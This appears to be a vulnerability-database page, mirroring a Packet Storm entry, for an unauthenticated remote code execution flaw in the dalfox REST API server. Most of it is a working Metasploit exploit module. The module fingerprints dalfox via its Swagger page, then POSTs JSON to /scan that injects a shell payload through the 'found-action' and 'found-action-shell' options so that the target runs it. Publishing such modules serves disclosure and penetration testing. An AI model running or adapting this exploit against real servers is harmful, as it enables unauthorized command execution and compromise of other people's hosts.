PACKETSTORM 10 CRITICAL

📄 Dalfox Found-Action Deserialization Remote Code Execution_PACKETSTORM:224334

10 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

When dalfox versions less than or equal to 2.12.0 is started in REST API server mode dalfox server, the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options - including...
Visit Original Source

Basic Information

ID PACKETSTORM:224334
Published Jun 25, 2026 at 00:00

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dalfox Found-Action Deserialization RCE',
'Description' => %q{
When dalfox version <= 2.12.0 is started in REST API server mode (dalfox server),
the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key.
Because model.Options - including FoundAction and FoundActionShell - is deserialized directly from attacker-supplied JSON in POST /scan,
and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them,
any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.
},
'Author' => [
'Emmanuel David', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-45087'],
['GHSA', 'v25v-m36w-jp4h'],
],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'SRVPORT' => 8081,
'RPORT' => 6664
},
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2026-05-07',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_advanced_options([
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'swagger/index.html')
})
return Exploit::CheckCode::Unknown('Could not detect the dalfox.') unless res&.code == 200

Exploit::CheckCode::Appears('Dalfox detected.')
end

def on_request_uri(cli, request)
send_response(cli, "<html><body>#{request.resource}</body></html>")
end

def primer
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'scan'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => {
'url' => get_uri,
'options' => {
'found-action' => payload.encode,
'found-action-shell' => 'bash',
'use-headless' => false,
'worker' => 1,
'limit-result' => 1
}
}.to_json
})
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
end

def exploit
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end

end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.